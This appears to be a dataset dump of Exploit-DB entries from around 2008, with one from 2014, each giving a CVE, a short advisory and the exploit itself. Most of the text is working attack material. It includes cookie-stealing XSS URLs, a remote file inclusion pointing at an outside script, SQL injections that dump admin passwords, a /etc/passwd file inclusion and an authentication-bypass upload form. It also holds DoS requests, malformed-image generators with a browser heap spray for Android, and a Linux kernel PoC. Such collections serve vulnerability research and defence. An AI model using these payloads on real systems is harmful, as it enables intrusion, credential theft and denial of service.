QLWD/code_shield huggingface dataset:
标题: MG2 - 'list' Cross-Site Scripting EDB-ID: 31335 CVE: 2008-1228 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/28098/info

MG2 is prone to a cross-site scripting vulnerability because it fails to adequately sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/admin.php?action=import&list=%22%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E URL: https://www.exploit-db.com/exploits/31335
标题: PHPMyTourney 2 - '/tourney/index.php' Remote File Inclusion EDB-ID: 31320 CVE: 2008-1128 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/28057/info

phpMyTourney is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

This issue affects phpMyTourney 2; other versions may also be vulnerable.

http://www.example.com/phpmytourney/sources/tourney/index.php?page=[Evil-Script] URL: https://www.exploit-db.com/exploits/31320
标题: Borland VisiBroker Smart Agent 08.00.00.C1.03 - Multiple Remote Vulnerabilities EDB-ID: 31330 CVE: 2008-7126 类型: DOS 平台: WINDOWS 发布日期: 2008-03-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/28084/info

Borland VisiBroker Smart Agent is prone to multiple remote vulnerabilities, including a heap-based buffer-overflow issue and a denial-of-service issue.

A successful exploit will allow remote attackers to execute arbitrary code in the context of the affected software or to crash the affected application, denying service to legitimate users.

These issues affect Borland VisiBroker Smart Agent 08.00.00.C1.03; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31330.zip URL: https://www.exploit-db.com/exploits/31330
标题: TorrentTrader 1.08 - 'msg' HTML Injection EDB-ID: 31328 CVE: 2008-1173 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/28082/info


TorrentTrader is prone to an HTML-injection vulnerability because it fails to adequately sanitize user-supplied input.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.

NOTE: This BID was previously titled 'TorrentTrader 'msg' Parameter Cross Site Scripting Vulnerability'. Following further analysis, the title and multiple details throughout have been changed to better document the issue.

TorrentTrader Classic 1.08 is affected; other versions may also be vulnerable.

http://www.example.com/account-inbox.php?msg=<script>alert(document.co­okie)</script>&receiver=<username> URL: https://www.exploit-db.com/exploits/31328
标题: KC Wiki 1.0 - '/minimal/wiki.php?page' Remote File Inclusion EDB-ID: 31324 CVE: 2008-1170 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/28074/info

KC Wiki is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.

KC Wiki 1.0 is vulnerable; other versions may also be affected.

http://www.example.com/kcwiki-1_0-20051129/minimal/wiki.php?page=http://www.example2.com/cmd.txt? URL: https://www.exploit-db.com/exploits/31324
标题: BSD PPP 'pppx.conf' - Local Denial of Service EDB-ID: 31333 CVE: 2008-1215 类型: DOS 平台: BSD 发布日期: 2008-03-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/28090/info

BSD PPP is prone to a local denial-of-service vulnerability because it fails to perform adequate boundary checks on user-supplied input.

Attackers can leverage this issue to crash the application and deny service to legitimate users. Given the nature of the issue, arbitrary code execution may also be possible, but this has not been confirmed.

This issue affects FreeBSD 6.3 and unspecified versions of NetBSD and OpenBSD; other versions may also be affected. 

~/~/~/~/~/~/~/~/~/~/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxx URL: https://www.exploit-db.com/exploits/31333
标题: PHP-Nuke Johannes Hass 'Gaestebuch 2.2 Module - 'id' SQL Injection EDB-ID: 31322 CVE: 2008-1314 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/28063/info

The 'gaestebuch' module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

This issue affects gaestebuch 2.2; other versions may also be affected. 

http://www.example.com/modules.php?name=gaestebuch_v22&amp;func=edit&amp;id=-1+union+all+select+1,1,1,aid,pwd+from+nuke_authors+where+radminsuper=1 URL: https://www.exploit-db.com/exploits/31322
标题: Centreon 1.4.2.3 - 'index.php' Local File Inclusion EDB-ID: 31318 CVE: 2008-1178 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/28052/info

Centreon is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an attacker to obtain potentially sensitive information that may lead to further attacks.

This issue affects Centreon 1.4.2.3; other versions may also be vulnerable.

http://www.example.com/include/doc/index.php?page=../../www/oreon.conf.php
http://www.example.com/include/doc/index.php?page=../../../../../etc/passwd
http://www.example.com/include/doc/index.php?page=[Local File] URL: https://www.exploit-db.com/exploits/31318
标题: Juniper Networks Secure Access 2000 Web - Root Full Path Disclosure EDB-ID: 31313 CVE: 2008-1181 类型: WEBAPPS 平台: CGI 发布日期: 2008-02-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/28037/info

Juniper Networks Secure Access 2000 is prone to a path-disclosure vulnerability.

Exploiting this issue can allow an attacker to access sensitive data that may be used to launch further attacks.

Secure Access 2000 5.5R1 Build 11711 is vulnerable; other versions may also be affected. 

https://www.example.com/dana-na/auth/remediate.cgi?action=&step=preauth
https://www.example.com/dana-na/auth/remediate.cgi?step=preauth URL: https://www.exploit-db.com/exploits/31313
标题: Flicks Software AuthentiX 6.3b1 - 'Username' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31314 CVE: 2008-1174 类型: WEBAPPS 平台: ASP 发布日期: 2008-02-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/28040/info

Flicks Software AuthentiX is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

AuthentiX 6.3b1 Trial Version is vulnerable; other versions may also be affected. 

https://www.example.com/aspAdmin/editUser.asp?username=%3CMETA%20HTTP-EQUIV=%22refresh%22%20CONTENT=%220;%20URL=http://www.example2.com/%22%3E URL: https://www.exploit-db.com/exploits/31314
标题: Trend Micro OfficeScan - Buffer Overflow (Denial of Service) (PoC) EDB-ID: 31310 CVE: 2008-1365 类型: DOS 平台: WINDOWS 发布日期: 2008-02-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/28020/info

Trend Micro OfficeScan Corporate Edition is prone to a buffer-overflow vulnerability and a denial-of-service vulnerability because the application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized memory buffer.

Successful exploits may allow an attacker to execute arbitrary code with privileges of the user running the application. This may facilitate a complete compromise of vulnerable computers. Failed exploit attempts will likely result in denial-of-service conditions.

These issues affect the following:

OfficeScan Corporate Edition 8.0 Patch 2 Build 1189 and earlier
OfficeScan Corporate Edition 7.0 Patch 3 Build 1314 and earlier

Other Trend Micro products may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31310.zip URL: https://www.exploit-db.com/exploits/31310
标题: Juniper Networks Secure Access 2000 - 'rdremediate.cgi' Cross-Site Scripting EDB-ID: 31311 CVE: 2008-1180 类型: REMOTE 平台: HARDWARE 发布日期: 2008-02-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/28034/info

Juniper Networks Secure Access 2000 is prone to a cross-site scripting vulnerability because it fails to adequately sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Juniper Networks Secure Access 2000 5.5R1 Build 11711 is vulnerable; other versions may also be affected. 

https://www.example.com/dana-na/auth/rdremediate.cgi?delivery_mode=</APPLET><SCRIPT>alert(&#039;Can%20Cross%20Site%20Attack&#039;)</SCRIPT>&action=tryagain&signinId=url_default

COMPLETE HTTP REQUEST:

GET
/dana-na/auth/rdremediate.cgi?delivery_mode=</APPLET><SCRIPT>alert(&#039;Can%20Cross%20Site%20Attack&#039;)</SCRIPT>&action=tryagain&signinId=url_default
HTTP/1.1
User-Agent: curl/7.15.4 (i486-pc-linux-gnu) libcurl/7.15.4
OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.3
Host: target-domain.foo
Accept: */*
[CRLF]
[CRLF]


PARTIAL HTTP RESPONSE:

<title></title>

[SNIP]

<APPLET id=NeoterisSetup > Unknown deliver mode
</APPLET><SCRIPT>alert(&#039;Can Cross Site Attack&#039;)</SCRIPT>
<PARAM NAME="Parameter0" VALUE="action=tryagain"></APPLET> URL: https://www.exploit-db.com/exploits/31311
标题: Simple PHP Scripts Gallery 0.x - 'index.php' Cross-Site Scripting EDB-ID: 31319 CVE: 2008-4803 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/28056/info

Simple PHP Scripts 'gallery' is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects 'gallery' 0.1, 0.3, and 0.4; other versions may also be affected.

http://www.example.com/index.php?gallery=XSS URL: https://www.exploit-db.com/exploits/31319
标题: Nortel UNIStim IP Phone - Remote Ping Denial of Service EDB-ID: 31306 CVE: 2008-4999 类型: DOS 平台: HARDWARE 发布日期: 2008-02-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/28004/info

Nortel UNIStim IP Phone products are prone to a remote denial-of-service vulnerability because the software fails to properly handle unexpected network datagrams.

Successfully exploiting this issue allows remote attackers to crash affected phones, denying service to legitimate users.

Phones with firmware 0604DAS are vulnerable to this issue. Other versions are also reportedly affected, but we don't know which specific versions. 

The following command will demonstrate this issue:

ping -s 65500 <target> URL: https://www.exploit-db.com/exploits/31306
标题: XRms 1.99.2 - CRM 'msg' Cross-Site Scripting EDB-ID: 31315 CVE: 2008-1129 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/28041/info

XRMS CRM is prone to a cross-site scripting vulnerability because it fails to adequately sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

XRMS CRM 1.99.2 is affected; other versions may also be vulnerable. 

http://www.example.com//xrms/admin/users/self.php?msg=Preferences%20successfully%20saved&msg=<script>alert("xss");</script> URL: https://www.exploit-db.com/exploits/31315
标题: NetOffice Dwins 1.3 - Authentication Bypass / Arbitrary File Upload EDB-ID: 31317 CVE: 2008-2044 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/28051/info

netOffice Dwins is prone to a vulnerability that allows attackers to bypass authentication as well as a vulnerability that allows attackers to upload arbitrary files. These issues occur because the application fails to adequately sanitize user-supplied input.

Attackers can leverage these issues to gain unauthorized access to the application and to execute arbitrary code in the context of the application.

These issues affect Dwins 1.3 p2; other versions may also be affected. 

<form accept-charset="UNKNOWN" method="POST" action="http://www.example.com/netoffice/projects_site/uploadfile.php?demoSession=1&allowPhp=true&action=add&project=&task=#filedetailsAnchor" name="feeedback" enctype="multipart/form-data"> <input type="hidden" name="MAX_FILE_SIZE" value="100000000"><input type="hidden" name="maxCustom" value=""> <table cellpadding="3" cellspacing="0" border="0"> <tr><th colspan="2">Upload Form</th></tr> <tr><th>Comments :</th><td><textarea cols="60" name="commentsField" rows="6">&lt;/textarea&gt;</td></tr> <tr><th>Upload :</th><td><input size="35" value="" name="upload" type="file"></td></tr> <tr><th>&nbsp;</th><td><input name="submit" type="submit" value="Save"><br><br></td></tr></table> </form> URL: https://www.exploit-db.com/exploits/31317
标题: Google Android Web Browser - '.BMP' File Integer Overflow EDB-ID: 31308 CVE: 2008-0986 类型: DOS 平台: ANDROID 发布日期: 2008-03-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/28006/info

Android Web Browser is prone to an integer-overflow vulnerability because it fails to adequately handle user-supplied data.

Attackers can exploit this issue to execute arbitrary code in the context of the application. Failed exploit attempts will likely cause denial-of-service conditions.

This issue affects Android SDK m5-rc14 and earlier. 

# This script generates a Bitmap file that makes the Android browser
jump to the address at 0xffffff+0x10
# Must be loaded inside a HTML file with a tag like this: <IMG
src=badbmp.bmp>
# Alfredo Ortega - Core Security
import struct

offset = 0xffef0000
width = 0x0bffff
height=8

bmp ="\x42\x4d\xff\x00\x00\x00\x00\x00\x00\x00"
bmp+=struct.pack("<I",offset)
bmp+="\x28\x00\x00\x00"
bmp+=struct.pack("<I",width)
bmp+=struct.pack("<I",height)
bmp+="\x03\x00\x08\x00\x00\x00"
bmp+="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
bmp+="\x00\x00\x00\x00\x00\x00\x00\x55\x02\xff\x00\x02\x00\x02\x02\xff"
bmp+="\xff\x11\xff\x33\xff\x55\xff\x66\xff\x77\xff\x88\x41\x41\x41\x41"
bmp+="\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
bmp+="\x41\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
bmp+="\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
open("badbmp.bmp","wb").write(bmp)

The complete exploit page follows:


<HTML>
<HEAD>
</HEAD>
<BODY>
<script type="text/javascript">
// Fill 0x200000 - 0xa00000 with Breakpoints
var nop = unescape("%u0001%uef9f");
while (nop.length <= 0x100000/2) nop += nop;
var i = 0;
for (i = 0;i<5;i++)
  document.write(nop)

// Fill 0xa00000 - 0x1100000 with address 0x00400040
var nop = unescape("%u4000%u4000");
while (nop.length <= 0x100000/2) nop += nop;
var i = 0;
for (i = 0;i<2;i++)
  document.write(nop)
</script>
<IMG src=badbmp.bmp>
</BODY>
</HTML> URL: https://www.exploit-db.com/exploits/31308
标题: Google Android Web Browser - '.GIF' File Heap Buffer Overflow EDB-ID: 31307 CVE: 2008-0985 类型: DOS 平台: ANDROID 发布日期: 2008-03-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/28005/info

Android Web Browser is prone to a heap-based buffer-overflow vulnerability because it fails to adequately bounds-check user-supplied data before copying it to an insufficiently sized memory buffer.

Successfully exploiting this vulnerability can allow remote attackers to execute arbitrary machine code in the context of the application. Failed attempts will likely result in denial-of-service conditions.

This issue affects Android SDK m3-rc37a and earlier.

##Android Heap Overflow
##Ortega Alfredo _ Core Security Exploit Writers Team
##tested against Android SDK m3-rc37a

import Image
import struct

#Creates a _good_ gif image
imagename='overflow.gif'
str = '\x00\x00\x00\x00'*30000
im = Image.frombuffer('L',(len(str),1),str,'raw','L',0,1)
im.save(imagename,'GIF')

#Shrink the Logical screen dimension
SWidth=1
SHeight=1

img = open(imagename,'rb').read()
img = img[:6]+struct.pack('<HH',SWidth,SHeight)+img[10:]

#Save the _bad_ gif image
q=open(imagename,'wb=""')
q.write(img)
q.close() URL: https://www.exploit-db.com/exploits/31307
标题: Linux Kernel 3.4 < 3.13.2 - recvmmsg x32 compat (PoC) EDB-ID: 31305 CVE: 2014-0038 类型: DOS 平台: LINUX 发布日期: 2014-01-31 漏洞利用脚本: /*
 * PoC trigger for the linux 3.4+ recvmmsg x32 compat bug, based on the manpage
 *
 * https://code.google.com/p/chromium/issues/detail?id=338594
 *
 * $ while true; do echo $RANDOM > /dev/udp/127.0.0.1/1234; sleep 0.25; done
 */

#define _GNU_SOURCE
#include <netinet/ip.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
#include <sys/syscall.h>

#define __X32_SYSCALL_BIT 0x40000000
#undef __NR_recvmmsg
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)

int
main(void)
{
#define VLEN 10
#define BUFSIZE 200
#define TIMEOUT 1
    int sockfd, retval, i;
    struct sockaddr_in sa;
    struct mmsghdr msgs[VLEN];
    struct iovec iovecs[VLEN];
    char bufs[VLEN][BUFSIZE+1];
    struct timespec timeout;

    sockfd = socket(AF_INET, SOCK_DGRAM, 0);
    if (sockfd == -1) {
        perror("socket()");
        exit(EXIT_FAILURE);
    }

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    sa.sin_port = htons(1234);
    if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
        perror("bind()");
        exit(EXIT_FAILURE);
    }

    memset(msgs, 0, sizeof(msgs));
    for (i = 0; i < VLEN; i++) {
        iovecs[i].iov_base         = bufs[i];
        iovecs[i].iov_len          = BUFSIZE;
        msgs[i].msg_hdr.msg_iov    = &iovecs[i];
        msgs[i].msg_hdr.msg_iovlen = 1;
    }

    timeout.tv_sec = TIMEOUT;
    timeout.tv_nsec = 0;

//    retval = recvmmsg(sockfd, msgs, VLEN, 0, &timeout);
//    retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, &timeout);
    retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)1ul);
    if (retval == -1) {
        perror("recvmmsg()");
        exit(EXIT_FAILURE);
    }

    printf("%d messages received\n", retval);
    for (i = 0; i < retval; i++) {
        bufs[i][msgs[i].msg_len] = 0;
        printf("%d %s", i+1, bufs[i]);
    }
    exit(EXIT_SUCCESS);
} URL: https://www.exploit-db.com/exploits/31305
标题: Surgemail and WebMail 3.0 - 'Page' Remote Format String EDB-ID: 31300 CVE: 2008-1055 类型: DOS 平台: WINDOWS 发布日期: 2008-02-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/27990/info

SurgeMail and WebMail are prone to a remote format-string vulnerability because the applications fail to properly sanitize user-supplied input before including it in the format-specifier argument of a formatted-printing function.

A remote attacker may execute arbitrary code with the privileges of the user running the affected application. Failed exploit attempts will result in a denial of service.

This issue affects the following:

SurgeMail 38k4, beta 39a and earlier
Netwin WebMail 3.1s and earlier 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31301.zip URL: https://www.exploit-db.com/exploits/31300
标题: Surgemail 3.0 - Real CGI executables Remote Buffer Overflow EDB-ID: 31301 CVE: 2008-1054 类型: DOS 平台: WINDOWS 发布日期: 2008-02-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/27992/info

SurgeMail is prone to a remote buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input.

Successfully exploiting this issue allows remote attackers to execute arbitrary machine code in the context of the affected service. Failed exploit attempts likely result in denial-of-service conditions.

SurgeMail 38k4 and prior versions are vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31301.zip URL: https://www.exploit-db.com/exploits/31301
标题: SurgeFTP 2.3a2 - 'Content-Length' Null Pointer Denial of Service EDB-ID: 31302 CVE: 2008-1052 类型: DOS 平台: WINDOWS 发布日期: 2008-02-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/27993/info

SurgeFTP is prone to a remote denial-of-service vulnerability because it fails to perform adequately boundary checks on user-supplied input.

Exploiting this issue will cause the server to copy data to a NULL pointer, which will crash the server, denying access to legitimate users.

SurgeFTP 2.3a2 is vulnerable; other versions may also be affected.

GET / HTTP/1.0
Content-Length: 2147483647

boom URL: https://www.exploit-db.com/exploits/31302
标题: Softbiz Jokes and Funny Pictures Script - 'sbcat_id' SQL Injection EDB-ID: 31294 CVE: 2008-1050 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/27973/info

The Jokes and Funny Pictures script from Softbiz is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/index.php?sbcat_id=-1 union select 0,1,2,concat(sbadmin_name,0x3a,sbadmin_pwd),4,5,6,7,8,9 from sbjks_admin/* URL: https://www.exploit-db.com/exploits/31294
标题: Alkacon OpenCMS 7.0.3 - 'tree_files.jsp' Cross-Site Scripting EDB-ID: 31299 CVE: 2008-1045 类型: WEBAPPS 平台: JSP 发布日期: 2008-02-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/27986/info

Alkacon OpenCms is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

OpenCms 7.0.3 is vulnerable; other versions may also be affected. 

http://www.example.com/opencms/opencms/system/workplace/views/explorer/tree_files.jsp?resource=+*/+alert(document.cookie);+/*+/ URL: https://www.exploit-db.com/exploits/31299